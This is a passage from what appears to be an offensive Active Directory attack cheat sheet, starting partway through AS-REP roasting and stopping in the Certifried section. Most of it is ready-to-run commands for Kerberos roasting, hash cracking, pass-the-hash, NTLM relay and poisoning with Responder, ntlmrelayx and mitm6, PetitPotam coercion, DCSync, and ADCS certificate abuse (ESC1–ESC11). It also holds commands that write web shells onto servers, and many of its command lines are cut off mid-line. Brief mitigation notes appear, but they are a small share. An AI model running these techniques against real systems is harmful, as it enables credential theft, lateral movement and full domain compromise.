[+] AS-REQ w/o preauth successful!
[*] AS-REP hash:

$krb5asrep$TestOU3user@testlab.local:858B6F645D9F9B57210292E5711E0...(snip)..
```

- GetNPUsers from Impacket Suite

```
$ python GetNPUsers.py htb.local/svc-alfresco -no-pass
```

```
[*] Getting TGT for svc-alfresco
$krb5asrep$23$svc-alfresco@HTB.LOCAL:c13528009a59be0a634bb9b8e84c88ee$cb8e87d

# extract hashes
root@kali:impacket-examples$ python GetNPUsers.py jurassic.park/ -usersfile u
root@kali:impacket-examples$ python GetNPUsers.py jurassic.park/triceratops:S
```

- CrackMapExec Module

```
$ crackmapexec ldap 10.0.2.11 -u 'username' -p 'password' --kdcHost 10.0.2.11
LDAP        10.0.2.11       389    dc01            $krb5asrep$23$john.doe@LAB.
```

Using `hashcat` or `john` to crack the ticket.

```
# crack AS_REP messages with hashcat
root@kali:impacket-examples$ hashcat -m 18200 --force -a 0 hashes.asreproast pass
root@windows:hashcat$ hashcat64.exe -m 18200 '<AS_REP-hash>' -a 0 c:\wordlists\ro

# crack AS_REP messages with john
C:\Rubeus> john --format=krb5asrep --wordlist=passwords_kerb.txt hashes.asreproas
```

Mitigations:

- All accounts must have "Kerberos Pre-Authentication" enabled (Enabled by Default).

CVE-2022-33679

> CVE-2022-33679 performs an encryption downgrade attack by forcing the KDC to use the RC4-MD4 algorithm and then brute forcing the session key from the AS-REP using a known plaintext attack, Similar to AS-REP Roasting, it works against accounts that have pre-authentication disabled and the attack is unauthenticated meaning we don't need a client's password..

Research from Project Zero : https://tinyurl.com/24hfcbgr

Requirements:

- Accounts with the attribute **DONT_REQ_PREAUTH** (`PowerView > Get-DomainUser -PreauthNotRequired -Properties distinguishedname -Verbose`)
- using CVE-2022-33679.py

```
user@hostname:~$ python CVE-2022-33679.py DOMAIN.LOCAL/User DC01.DOMAIN.LOCAL
```

```
user@hostname:~$ export KRB5CCNAME=/home/project/User.ccache
user@hostname:~$ crackmapexec smb DC01.DOMAIN.LOCAL -k --shares
```

Mitigations:

- All accounts must have "Kerberos Pre-Authentication" enabled (Enabled by Default).
- Disable RC4 cipher if possible.

Timeroasting

> Timeroasting takes advantage of Windows' NTP authentication mechanism, allowing unauthenticated attackers to effectively request a password hash of any computer account by sending an NTP request with that account's RID

- SecuraBV/Timeroast - Timeroasting scripts by Tom Tervoort

```
sudo ./timeroast.py 10.0.0.42 | tee ntp-hashes.txt
hashcat -m 31300 ntp-hashes.txt
```

Pass-the-Hash

The types of hashes you can use with Pass-The-Hash are NT or NTLM hashes. Since Windows Vista, attackers have been unable to pass-the-hash to local admin accounts that weren't the built-in RID 500.

- Metasploit

```
use exploit/windows/smb/psexec
set RHOST 10.2.0.3
set SMBUser jarrieta
set SMBPass nastyCutt3r
# NOTE1: The password can be replaced by a hash to execute a `pass the hash` a
# NOTE2: Require the full NT hash, you may need to add the "blank" LM (aad3b4
set PAYLOAD windows/meterpreter/bind_tcp
run
shell
```

- CrackMapExec

```
cme smb 10.2.0.2/24 -u jarrieta -H 'aad3b435b51404eeaad3b435b51404ee:489a04c0
```

- Impacket suite

```
proxychains python ./psexec.py jarrieta@10.2.0.2 -hashes :489a04c09a5debbc9b9
```

- Windows RDP and mimikatz

```
sekurlsa::pth /user:Administrator /domain:contoso.local /ntlm:b73fdfe10e87b4c
sekurlsa::pth /user:<user name> /domain:<domain name> /ntlm:<the users ntlm h
```

You can extract the local **SAM database** to find the local administrator hash :

```
C:\> reg.exe save hklm\sam c:\temp\sam.save
C:\> reg.exe save hklm\security c:\temp\security.save
C:\> reg.exe save hklm\system c:\temp\system.save
$ secretsdump.py -sam sam.save -security security.save -system system.save LOCAL
```

OverPass-the-Hash (pass the key)

In this technique, instead of passing the hash directly, we use the NT hash of an account to request a valid Kerberost ticket (TGT).

Using impacket

```
root@kali:~$ python ./getTGT.py -hashes ":1a59bd44fe5bec39c44c8cd3524dee" lab.rop
root@kali:~$ export KRB5CCNAME="/root/impacket-examples/velociraptor.ccache"
root@kali:~$ python3 psexec.py "jurassic.park/velociraptor@labwws02.jurassic.park

# also with the AES Key if you have it
root@kali:~$ ./getTGT.py -aesKey xxxxxxxxxxxxxxkeyaesxxxxxxxxxxxxxxxx lab.ropnop.

root@kali:~$ ktutil -k ~/mykeys add -p tgwynn@LAB.ROPNOP.COM -e arcfour-hma-md5 -
root@kali:~$ kinit -t ~/mykers tgwynn@LAB.ROPNOP.COM
root@kali:~$ klist
```

Using Rubeus

```
# Request a TGT as the target user and pass it into the current session
# NOTE: Make sure to clear tickets in the current session (with 'klist purge') to
.\Rubeus.exe asktgt /user:Administrator /rc4:[NTLMHASH] /ptt

# More stealthy variant, but requires the AES256 hash
.\Rubeus.exe asktgt /user:Administrator /aes256:[AES256HASH] /opsec /ptt
```

```
# Pass the ticket to a sacrificial hidden process, allowing you to e.g. steal the
.\Rubeus.exe asktgt /user:Administrator /rc4:[NTLMHASH] /createnetonly:C:\Windows
```

Capturing and cracking Net-NTLMv1/NTLMv1 hashes

> Net-NTLM (NTLMv1) hashes are used for network authentication (they are derived from a challenge/response algorithm and are based on the user's NT hash.

:information_source: : Coerce a callback using PetitPotam or SpoolSample on an affected machine and downgrade the authentication to **NetNTLMv1 Challenge/Response authentication**. This uses the outdated encryption method DES to protect the NT/LM Hashes.

Requirements:

- LmCompatibilityLevel = 0x1: Send LM & NTLM (`reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v lmcompatibilitylevel`)

Exploitation:

- Capturing using Responder: Edit the `/etc/responder/Responder.conf` file to include the magical **1122334455667788** challenge

```
HTTPS = On
DNS = On
LDAP = On
...
; Custom challenge.
; Use "Random" for generating a random challenge for each requests (Default)
Challenge = 1122334455667788
```

- Fire Responder: `responder -I eth0 --lm` , if `--disable-ess` is set, extended session security will be disabled for NTLMv1 authentication
- Force a callback:

```
PetitPotam.exe Responder-IP DC-IP # Patched around August 2021
PetitPotam.py -u Username -p Password -d Domain -dc-ip DC-IP Responder-IP DC-
```

- If you got some `NTLMv1 hashes` , you need to format them to submit them on crack.sh

```
username::hostname:response:response:challenge -> NTHASH:response
NTHASH:F35A3FE17DCB31F9BE8A8004B3F310C150AFA36195554972
```

- Or crack them with Hashcat / John The Ripper

```
john --format=netntlm hash.txt
hashcat -m 5500 -a 3 hash.txt
```

- Now you can DCSync using the Pass-The-Hash with the DC machine account

:warning: NTLMv1 with SSP(Security Support Provider) changes the server challenge and is not quite ideal for the attack, but it can be used.

Mitigations:

- Set the Lan Manager authentication level to `Send NTLMv2 responses only. Refuse LM & NTLM`

Capturing and cracking Net-NTLMv2/NTLMv2 hashes

If any user in the network tries to access a machine and mistype the IP or the name, Responder will answer for it and ask for the NTLMv2 hash to access the resource. Responder will poison `LLMNR`, `MDNS` and `NETBIOS` requests on the network.

```
# https://tinyurl.com/zue3sty
$ sudo ./Responder.py -I eth0 -wfrd -P -v

# https://tinyurl.com/28plsnyw
PS > .\inveighzero.exe -FileOutput Y -NBNS Y -mDNS Y -Proxy Y -MachineAccounts Y

# https://tinyurl.com/2yt24nd2
PS > Invoke-Inveigh [-IP '10.10.10.10'] -ConsoleOutput Y -FileOutput Y -NBNS Y -m
```

Crack the hashes with Hashcat / John The Ripper

```
john --format=netntlmv2 hash.txt
hashcat -m 5600 -a 3 hash.txt
```

Man-in-the-Middle attacks & relaying

NTLMv1 and NTLMv2 can be relayed to connect to another machine.

Hash	Hashcat	Attack method
LM	`3000`	crack/pass the hash
NTLM/NTHash	`1000`	crack/pass the hash

NTLMv1/Net-NTLMv1	`5500`	crack/relay attack
NTLMv2/Net-NTLMv2	`5600`	crack/relay attack

Crack the hash with `hashcat`.

```
hashcat -m 5600 -a 0 hash.txt crackstation.txt
```

MS08-068 NTLM reflection

NTLM reflection vulnerability in the SMB protocolOnly targeting Windows 2000 to Windows Server 2008.

> This vulnerability allows an attacker to redirect an incoming SMB connection back to the machine it came from and then access the victim machine using the victim's own credentials.

- https://tinyurl.com/yyhlsjdm/tree/master/MS08-068

```
msf > use exploit/windows/smb/smb_relay
msf exploit(smb_relay) > show targets
```

LDAP signing not required and LDAP channel binding disabled

During security assessment, sometimes we don't have any account to perform the audit. Therefore we can inject ourselves into the Active Directory by performing NTLM relaying attack. For this technique three requirements are needed:

- LDAP signing not required (by default set to `Not required`)
- LDAP channel binding is disabled. (by default disabled)
- `ms-DS-MachineAccountQuota` needs to be at least at 1 for the account relayed (10 by default)

Then we can use a tool to poison `LLMNR`, `MDNS` and `NETBIOS` requests on the network such as `Responder` and use `ntlmrelayx` to add our computer.

```
# On first terminal
sudo ./Responder.py -I eth0 -wfrd -P -v

# On second terminal
sudo python ./ntlmrelayx.py -t ldaps://IP_DC --add-computer
```

It is required here to relay to LDAP over TLS because creating accounts is not allowed over an unencrypted connection.

SMB Signing Disabled and IPv4

If a machine has `SMB signing : disabled` , it is possible to use Responder with Multirelay.py script to perform an `NTLMv2 hashes relay` and get a shell access on the machine. Also called **LLMNR/NBNS Poisoning**

1. Open the Responder.conf file and set the value of `SMB` and `HTTP` to `Off` .

```
[Responder Core]
; Servers to start
...
SMB = Off     # Turn this off
HTTP = Off    # Turn this off
```

2. Run `python RunFinger.py -i IP_Range` to detect machine with `SMB signing : disabled` .
3. Run `python Responder.py -I <interface_card>`
4. Use a relay tool such as `ntlmrelayx` or `MultiRelay`
   - `impacket-ntlmrelayx -tf targets.txt` to dump the SAM database of the targets in the list.
   - `python MultiRelay.py -t <target_machine_IP> -u ALL`
5. ntlmrelayx can also act as a SOCK proxy with every compromised sessions.

```
$ impacket-ntlmrelayx -tf /tmp/targets.txt -socks -smb2support
[*] Servers started, waiting for connections
Type help for list of commands
ntlmrelayx> socks
Protocol  Target          Username                  Port
--------  --------------  ------------------------  ----
MSSQL     192.168.48.230  VULNERABLE/ADMINISTRATOR  1433
SMB       192.168.48.230  CONTOSO/NORMALUSER1       445
MSSQL     192.168.48.230  CONTOSO/NORMALUSER1       1433

# You might need to select a target with "-t"
# smb://, mssql://, http://, https://, imap://, imaps://, ldap://, ldaps:// a
impacket-ntlmrelayx -t mssql://10.10.10.10 -socks -smb2support
impacket-ntlmrelayx -t smb://10.10.10.10 -socks -smb2support

# the socks proxy can then be used with your Impacket tools or CrackMapExec
$ proxychains impacket-smbclient //192.168.48.230/Users -U contoso/normaluser
```

```
$ proxychains impacket-mssqlclient DOMAIN/USER@10.10.10.10 -windows-auth
$ proxychains crackmapexec mssql 10.10.10.10 -u user -p '' -d DOMAIN -q "SELE
```

Mitigations:

- Disable LLMNR via group policy

  ```
  Open gpedit.msc and navigate to Computer Configuration > Administrative Templ
  ```

- Disable NBT-NS

  ```
  This can be achieved by navigating through the GUI to Network card > Properti
  ```

SMB Signing Disabled and IPv6

Since MS16-077 the location of the WPAD file is no longer requested via broadcast protocols, but only via DNS.

```
crackmapexec smb $hosts --gen-relay-list relay.txt

# DNS takeover via IPv6, mitm6 will request an IPv6 address via DHCPv6
# -d is the domain name that we filter our request on - the attacked domain
# -i is the interface we have mitm6 listen on for events
mitm6 -i eth0 -d $domain

# spoofing WPAD and relaying NTLM credentials
impacket-ntlmrelayx -6 -wh $attacker_ip -of loot -tf relay.txt
impacket-ntlmrelayx -6 -wh $attacker_ip -l /tmp -socks -debug

# -ip is the interface you want the relay to run on
# -wh is for WPAD host, specifying your wpad file to serve
# -t is the target where you want to relay to.
impacket-ntlmrelayx -ip 10.10.10.1 -wh $attacker_ip -t ldaps://10.10.10.2
```

Drop the MIC

> The CVE-2019-1040 vulnerability makes it possible to modify the NTLM authentication packets without invalidating the authentication, and thus enabling an attacker to remove the flags which would prevent relaying from SMB to LDAP

Check vulnerability with cve-2019-1040-scanner

```
python2 scanMIC.py 'DOMAIN/USERNAME:PASSWORD@TARGET'
```

```
[*] CVE-2019-1040 scanner by @_dirkjan / Fox-IT - Based on impacket by SecureAuth
[*] Target TARGET is not vulnerable to CVE-2019-1040 (authentication was rejected
```

- Using any AD account, connect over SMB to a victim Exchange server, and trigger the SpoolService bug. The attacker server will connect back to you over SMB, which can be relayed with a modified version of ntlmrelayx to LDAP. Using the relayed LDAP authentication, grant DCSync privileges to the attacker account. The attacker account can now use DCSync to dump all password hashes in AD

```
TERM1> python printerbug.py testsegment.local/username@s2012exc.testsegment.l
TERM2> ntlmrelayx.py --remove-mic --escalate-user ntu -t ldap://s2016dc.tests
TERM1> secretsdump.py testsegment/ntu@s2016dc.testsegment.local -just-dc
```

- Using any AD account, connect over SMB to the victim server, and trigger the SpoolService bug. The attacker server will connect back to you over SMB, which can be relayed with a modified version of ntlmrelayx to LDAP. Using the relayed LDAP authentication, grant Resource Based Constrained Delegation privileges for the victim server to a computer account under the control of the attacker. The attacker can now authenticate as any user on the victim server.

```
# create a new machine account
TERM1> ntlmrelayx.py -t ldaps://rlt-dc.relaytest.local --remove-mic --delegat
TERM2> python printerbug.py relaytest.local/username@second-dc-server 10.0.2.
TERM1> getST.py -spn host/second-dc-server.local 'relaytest.local/MACHINE$:PA

# connect using the ticket
export KRB5CCNAME=DOMAIN_ADMIN_USER_NAME.ccache
secretsdump.py -k -no-pass second-dc-server.local -just-dc
```

Ghost Potato - CVE-2019-1384

Requirements:

- User must be a member of the local Administrators group
- User must be a member of the Backup Operators group
- Token must be elevated

Using a modified version of ntlmrelayx : https://tinyurl.com/28udqr6s

```
ntlmrelayx -smb2support --no-smb-server --gpotato-startup rat.exe
```

RemotePotato0 DCOM DCE RPC relay

> It abuses the DCOM activation service and trigger an NTLM authentication of the user currently logged on in the target machine

Requirements:

- a shell in session 0 (e.g. WinRm shell or SSH shell)
- a privileged user is logged on in the session 1 (e.g. a Domain Admin user)

```
# https://tinyurl.com/28nzf7x3
Terminal> sudo socat TCP-LISTEN:135,fork,reuseaddr TCP:192.168.83.131:9998 & # Ca
Terminal> sudo ntlmrelayx.py -t ldap://192.168.83.135 --no-wcf-server --escalate-
Session0> RemotePotato0.exe -r 192.168.83.130 -p 9998 -s 2
Terminal> psexec.py 'LAB/winrm_user_1:Password123!@192.168.83.135'
```

DNS Poisonning - Relay delegation with mitm6

Requirements:

- IPv6 enabled (Windows prefers IPV6 over IPv4)
- LDAP over TLS (LDAPS)

> ntlmrelayx relays the captured credentials to LDAP on the domain controller, uses that to create a new machine account, print the account's name and password and modifies the delegation rights of it.

```
git clone https://tinyurl.com/2c78r5xf
cd /opt/tools/mitm6
pip install .

mitm6 -hw ws02 -d lab.local --ignore-nofqnd
# -d: the domain name that we filter our request on (the attacked domain)
# -i: the interface we have mitm6 listen on for events
# -hw: host whitelist

ntlmrelayx.py -ip 10.10.10.10 -t ldaps://dc01.lab.local -wh attacker-wpad
ntlmrelayx.py -ip 10.10.10.10 -t ldaps://dc01.lab.local -wh attacker-wpad --add-c
# -ip: the interface you want the relay to run on
# -wh: WPAD host, specifying your wpad file to serve
# -t: the target where you want to relay to

# now granting delegation rights and then do a RBCD
ntlmrelayx.py -t ldaps://dc01.lab.local --delegate-access --no-smb-server -wh att
getST.py -spn cifs/target.lab.local lab.local/GENERATED\$ -impersonate Administra
export KRB5CCNAME=administrator.ccache
```

```
secretsdump.py -k -no-pass target.lab.local
```

Relaying with WebDav Trick

> Example of exploitation where you can coerce machine accounts to authenticate to a host and combine it with Resource Based Constrained Delegation to gain elevated access. It allows attackers to elicit authentications made over HTTP instead of SMB

Requirement:

- WebClient service

Exploitation:

- Disable HTTP in Responder: `sudo vi /usr/share/responder/Responder.conf`
- Generate a Windows machine name: `sudo responder -I eth0` , e.g: WIN-UBNW4FI3AP0
- Prepare for RBCD against the DC: `python3 ntlmrelayx.py -t ldaps://dc --delegate-access -smb2support`
- Discover WebDAV services

```
webclientservicescanner 'domain.local'/'user':'password'@'machine'
crackmapexec smb 'TARGETS' -d 'domain' -u 'user' -p 'password' -M webdav
GetWebDAVStatus.exe 'machine'
```

- Trigger the authentication to relay to our nltmrelayx: `PetitPotam.exe WIN-UBNW4FI3AP0@80/test.txt 10.0.0.4` , the listener host must be specified with the FQDN or full netbios name like `logger.domain.local@80/test.txt` . Specifying the IP results in anonymous auth instead of System.

```
# PrinterBug
dementor.py -d "DOMAIN" -u "USER" -p "PASSWORD" "ATTACKER_NETBIOS_NAME@PORT/r
SpoolSample.exe "ATTACKER_IP" "ATTACKER_NETBIOS_NAME@PORT/randomfile.txt"

# PetitPotam
Petitpotam.py "ATTACKER_NETBIOS_NAME@PORT/randomfile.txt" "ATTACKER_IP"
Petitpotam.py -d "DOMAIN" -u "USER" -p "PASSWORD" "ATTACKER_NETBIOS_NAME@PORT
PetitPotam.exe "ATTACKER_NETBIOS_NAME@PORT/randomfile.txt" "ATTACKER_IP"
```

- Use the created account to ask for a service ticket:

```
.\Rubeus.exe hash /domain:purple.lab /user:WVLFLLKZ$ /password:'iUAL)l<i$;UzD
.\Rubeus.exe s4u /user:WVLFLLKZ$ /aes256:E0B3D87B512C218D38FAFDBD8A2EC55C8304
ls \\PC1.purple.lab\c$
# IP of PC1: 10.0.0.4
```

Man-in-the-middle RDP connections with pyrdp-mitm

- https://tinyurl.com/2264jn5f
- https://tinyurl.com/24ta5lra
- Usage

```
pyrdp-mitm.py <IP>
pyrdp-mitp.py <IP>:<PORT> # with custom port
pyrdp-mitm.py <IP> -k private_key.pem -c certificate.pem # with custom key and ce
```

- Exploitation
  - If Network Level Authentication (NLA) is enabled, you will obtain the client's NetNTLMv2 challenge
  - If NLA is disabled, you will obtain the password in plaintext
  - Other features are available such as keystroke recording
- Alternatives
  - S3th: https://tinyurl.com/26sfgw9x performs ARP spoofing prior to launching the RDP listener

Active Directory Certificate Services

- Find ADCS Server
  - `crackmapexec ldap domain.lab -u username -p password -M adcs`
  - `ldapsearch -H ldap://dc_IP -x -LLL -D 'CN=<user>,OU=Users,DC=domain,DC=local' -w '<password>' -b "CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=CONFIGURATION,DC=domain,DC=local" dNSHostName`
- Enumerate AD Enterprise CAs with certutil: `certutil.exe -config - -ping` , `certutil -dump`

ESC1 - Misconfigured Certificate Templates

> Domain Users can enroll in the **VulnTemplate** template, which can be used for client authentication and has **ENROLLEE_SUPPLIES_SUBJECT** set. This allows anyone to enroll in this template and specify an arbitrary Subject Alternative Name (i.e. as a DA). Allows additional identities to be bound to a certificate beyond the Subject.

Requirements

- Template that allows for AD authentication
- **ENROLLEE_SUPPLIES_SUBJECT** flag
- [PKINIT] Client Authentication, Smart Card Logon, Any Purpose, or No EKU (Extended/Enhanced Key Usage)

Exploitation

- Use Certify.exe to see if there are any vulnerable templates

```
Certify.exe find /vulnerable
Certify.exe find /vulnerable /currentuser
# or
PS> Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-
# or
certipy 'domain.local'/'user':'password'@'domaincontroller' find -bloodhound
```

- Use Certify, Certi or Certipy to request a Certificate and add an alternative name (user to impersonate)

```
# request certificates for the machine account by executing Certify with the '
Certify.exe request /ca:dc.domain.local\domain-DC-CA /template:VulnTemplate /a
certi.py req 'contoso.local/Anakin@dc01.contoso.local' contoso-DC01-CA -k -n
certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template
```

- Use OpenSSL and convert the certificate, do not enter a password

```
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Prov
```

- Move the cert.pfx to the target machine filesystem and request a TGT for the altname user using Rubeus

```
Rubeus.exe asktgt /user:domadmin /certificate:C:\Temp\cert.pfx
```

WARNING: These certificates will still be usable even if the user or computer resets their password!

NOTE: Look for **EDITF_ATTRIBUTESUBJECTALTNAME2**, **CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT**, **ManageCA** flags, and NTLM Relay to AD CS HTTP Endpoints.

ESC2 - Misconfigured Certificate Templates

Requirements

- Allows requesters to specify a Subject Alternative Name (SAN) in the CSR as well as allows Any Purpose EKU (2.5.29.37.0)

Exploitation

- Find template

```
PS > Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki
```

- Request a certificate specifying the `/altname` as a domain admin like in ESC1.

ESC3 - Misconfigured Enrollment Agent Templates

> ESC3 is when a certificate template specifies the Certificate Request Agent EKU (Enrollment Agent). This EKU can be used to request certificates on behalf of other users

- Request a certificate based on the vulnerable certificate template ESC3.

```
$ certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -templa
[*] Saved certificate and private key to 'john.pfx'
```

- Use the Certificate Request Agent certificate (-pfx) to request a certificate on behalf of other another user

```
$ certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -templa
```

ESC4 - Access Control Vulnerabilities

> Enabling the `mspki-certificate-name-flag` flag for a template that allows for domain authentication, allow attackers to "push a misconfiguration to a template leading to ESC1 vulnerability

- Search for `WriteProperty` with value `00000000-0000-0000-0000-000000000000` using modifyCertTemplate

```
python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -d
```

- Add the `ENROLLEE_SUPPLIES_SUBJECT` (ESS) flag to perform ESC1

```
python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -d

# Add/remove ENROLLEE_SUPPLIES_SUBJECT flag from the WebServer template.
C:\>StandIn.exe --adcs --filter WebServer --ess --add
```

- Perform ESC1 and then restore the value

```
python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -d
```

Using Certipy

```
# overwrite the configuration to make it vulnerable to ESC1
certipy template 'corp.local/johnpc$@ca.corp.local' -hashes :fc525c9683e8fe067095
# request a certificate based on the ESC4 template, just like ESC1.
certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'ES
# restore the old configuration
certipy template 'corp.local/johnpc$@ca.corp.local' -hashes :fc525c9683e8fe067095
```

ESC6 - EDITF_ATTRIBUTESUBJECTALTNAME2

> If this flag is set on the CA, any request (including when the subject is built from Active Directory) can have user defined values in the subject alternative name.

Exploitation

- Use Certify.exe to check for **UserSpecifiedSAN** flag state which refers to the `EDITF_ATTRIBUTESUBJECTALTNAME2` flag.

```
Certify.exe cas
```

- Request a certificate for a template and add an altname, even though the default `User` template doesn't normally allow to specify alternative names

```
.\Certify.exe request /ca:dc.domain.local\domain-DC-CA /template:User /altnam
```

Mitigation

- Remove the flag: `certutil.exe -config "CA01.domain.local\CA01" -setreg "policy\EditFlags" -EDITF_ATTRIBUTESUBJECTALTNAME2`

ESC7 - Vulnerable Certificate Authority Access Control

Exploitation

- Detect CAs that allow low privileged users the `ManageCA` or `Manage Certificates` permissions

```
Certify.exe find /vulnerable
```

- Change the CA settings to enable the SAN extension for all the templates under the vulnerable CA (ESC6)

```
Certify.exe setconfig /enablesan /restart
```

- Request the certificate with the desired SAN.

```
Certify.exe request /template:User /altname:super.adm
```

- Grant approval if required or disable the approval requirement

```
# Grant
Certify.exe issue /id:[REQUEST ID]
# Disable
Certify.exe setconfig /removeapproval /restart
```

Alternative exploitation from **ManageCA** to **RCE** on ADCS server:

```
# Get the current CDP list. Useful to find remote writable shares:
Certify.exe writefile /ca:SERVER\ca-name /readonly

# Write an aspx shell to a local web directory:
Certify.exe writefile /ca:SERVER\ca-name /path:C:\Windows\SystemData\CES\CA-Name\

# Write the default asp shell to a local web directory:
Certify.exe writefile /ca:SERVER\ca-name /path:c:\inetpub\wwwroot\shell.asp

# Write a php shell to a remote web directory:
Certify.exe writefile /ca:SERVER\ca-name /path:\\remote.server\share\shell.php /i
```

ESC8 - AD CS Relay Attack

> An attacker can trigger a Domain Controller using PetitPotam to NTLM relay credentials to a host of choice. The Domain Controller's NTLM Credentials can then be relayed to the Active Directory Certificate Services (AD CS) Web Enrollment pages, and a DC certificate can be enrolled. This certificate can then be used to request a TGT (Ticket Granting Ticket) and compromise the entire domain through Pass-The-Ticket.

Require Impacket PR #1101

- **Version 1**: NTLM Relay + Rubeus + PetitPotam

```
impacket> python3 ntlmrelayx.py -t http://<ca-server>/certsrv/certfnsh.asp -s
impacket> python3 ./examples/ntlmrelayx.py -t https://tinyurl.com/29mgdjk7 -s
# For a member server or workstation, the template would be "Computer".
# Other templates: workstation, DomainController, Machine, KerberosAuthentica

# Coerce the authentication via MS-ESFRPC EfsRpcOpenFileRaw function with pet
# You can also use any other way to coerce the authentication like PrintSpool
git clone https://tinyurl.com/22r4qcs7
python3 petitpotam.py -d $DOMAIN -u $USER -p $PASSWORD $ATTACKER_IP $TARGET_I
python3 petitpotam.py -d '' -u '' -p '' $ATTACKER_IP $TARGET_IP
python3 dementor.py <listener> <target> -u <username> -p <password> -d <domai
python3 dementor.py 10.10.10.250 10.10.10.10 -u user1 -p Password1 -d lab.loc

# Use the certificate with rubeus to request a TGT
Rubeus.exe asktgt /user:<user> /certificate:<base64-certificate> /ptt
Rubeus.exe asktgt /user:dc1$ /certificate:MIIRdQIBAzC...mUUXS /ptt

# Now you can use the TGT to perform a DCSync
mimikatz> lsadump::dcsync /user:krbtgt
```

- **Version 2**: NTLM Relay + Mimikatz + Kekeo

```
impacket> python3 ./examples/ntlmrelayx.py -t https://tinyurl.com/29mgdjk7 -s

# Mimikatz
mimikatz> misc::efs /server:dc.lab.local /connect:<IP> /noauth

# Kekeo
kekeo> base64 /input:on
kekeo> tgt::ask /pfx:<BASE64-CERT-FROM-NTLMRELAY> /user:dc$ /domain:lab.local

# Mimikatz
mimikatz> lsadump::dcsync /user:krbtgt
```

- **Version 3**: Kerberos Relay

```
# Setup the relay
sudo krbrelayx.py --target https://tinyurl.com/2c2cf4fe -ip attacker_IP --vic

# Run mitm6
sudo mitm6 --domain domain.local --host-allowlist target.domain.local --relay
```

- **Version 4**: ADCSPwn - Require `WebClient` service running on the domain controller. By default this service is not installed.

```
https://tinyurl.com/2bqqh3vo
adcspwn.exe --adcs <cs server> --port [local port] --remote [computer]
adcspwn.exe --adcs cs.pwnlab.local
adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --port 9001
adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --output C:\Temp\
adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --username pwnlab

# ADCSPwn arguments
adcs            -       This is the address of the AD CS server which authent
secure          -       Use HTTPS with the certificate service.
port            -       The port ADCSPwn will listen on.
remote          -       Remote machine to trigger authentication from.
username        -       Username for non-domain context.
password        -       Password for non-domain context.
dc              -       Domain controller to query for Certificate Templates
unc             -       Set custom UNC callback path for EfsRpcOpenFileRaw (P
output          -       Output path to store base64 generated crt.
```

- **Version 5**: Certipy ESC8

```
certipy relay -ca 172.16.19.100
```

ESC9 - No Security Extension

Requirements

- `StrongCertificateBindingEnforcement` set to `1` (default) or `0`
- Certificate contains the `CT_FLAG_NO_SECURITY_EXTENSION` flag in the `msPKI-Enrollment-Flag` value
- Certificate specifies `Any Client` authentication EKU
- `GenericWrite` over any account A to compromise any account B

Scenario

John@corp.local has **GenericWrite** over Jane@corp.local, and we want to compromise Administrator@corp.local. Jane@corp.local is allowed to enroll in the certificate template ESC9 that specifies the **CT_FLAG_NO_SECURITY_EXTENSION** flag in the **msPKI-Enrollment-Flag** value.

- Obtain the hash of Jane with Shadow Credentials (using our GenericWrite)

```
certipy shadow auto -username John@corp.local -p Passw0rd -account Jane
```

- Change the **userPrincipalName** of Jane to be Administrator. :warning: leave the `@corp.local` part

```
certipy account update -username John@corp.local -password Passw0rd -user Jan
```

- Request the vulnerable certificate template ESC9 from Jane's account.

```
certipy req -username jane@corp.local -hashes ... -ca corp-DC-CA -template ES
# userPrincipalName in the certificate is Administrator
# the issued certificate contains no "object SID"
```

- Restore userPrincipalName of Jane to Jane@corp.local.

```
certipy account update -username John@corp.local -password Passw0rd -user Jan
```

- Authenticate with the certificate and receive the NT hash of the Administrator@corp.local user.

```
certipy auth -pfx administrator.pfx -domain corp.local
# Add -domain <domain> to your command line since there is no domain specifie
```

ESC11 - Relaying NTLM to ICPR

> Encryption is not enforced for ICPR requests and Request Disposition is set to Issue

Requirements:

- sploutchy/Certipy - Certipy fork
- sploutchy/impacket - Impacket fork

Exploitation:

1. Look for `Enforce Encryption for Requests: Disabled` in `certipy find -u user@dc1.lab.local -p 'REDACTED' -dc-ip 10.10.10.10 -stdout` output
2. Setup a relay using Impacket ntlmrelay and trigger a connection to it.

```
ntlmrelayx.py -t rpc://10.10.10.10 -rpc-mode ICPR -icpr-ca-name lab-DC-CA -sm
```

Certifried CVE-2022-26923

> An authenticated user could manipulate attributes on computer accounts they own or manage, and acquire a certificate from Active Directory Certificate Services that would allow elevation of privilege.

- Find `ms-DS-MachineAccountQuota`

```
python bloodyAD.py -d lab.local -u username -p 'Password123*' --host 10.10.10
```

- Add a new computer in the Active Directory, by default `MachineAccountQuota = 10`

```
python bloodyAD.py -d lab.local -u username -p 'Password123*' --host 10.10.10
certipy account create 'lab.local/username:Password123*@dc.lab.local' -user '
```

- [ALTERNATIVE] If you are `SYSTEM` and the `MachineAccountQuota=0` : Use a ticket for the current machine and reset its SPN

```
Rubeus.exe tgtdeleg
export KRB5CCNAME=/tmp/ws02.ccache
python bloodyAD -d lab.local -u 'ws02$' -k --host dc.lab.local setAttribute '
```

- Set the `dNSHostName` attribute to match the Domain Controller hostname

```
python bloodyAD.py -d lab.local -u username -p 'Password123*' --host 10.10.10
python bloodyAD.py -d lab.local -u username -p 'Password123*' --host 10.10.10
```

- Request a ticket

```
# certipy req 'domain.local/cve$:CVEPassword1234*@ADCS_IP' -template Machine
certipy req 'lab.local/cve$:CVEPassword1234*@10.100.10.13' -template Machine
```

- Either use the pfx or set a RBCD on your machine account to takeover the domain

```
certipy auth -pfx ./dc.pfx -dc-ip 10.10.10.10

openssl pkcs12 -in dc.pfx -out dc.pem -nodes
python bloodyAD.py -d lab.local  -c ":dc.pem" -u 'cve$' --host 10.10.10.10 se
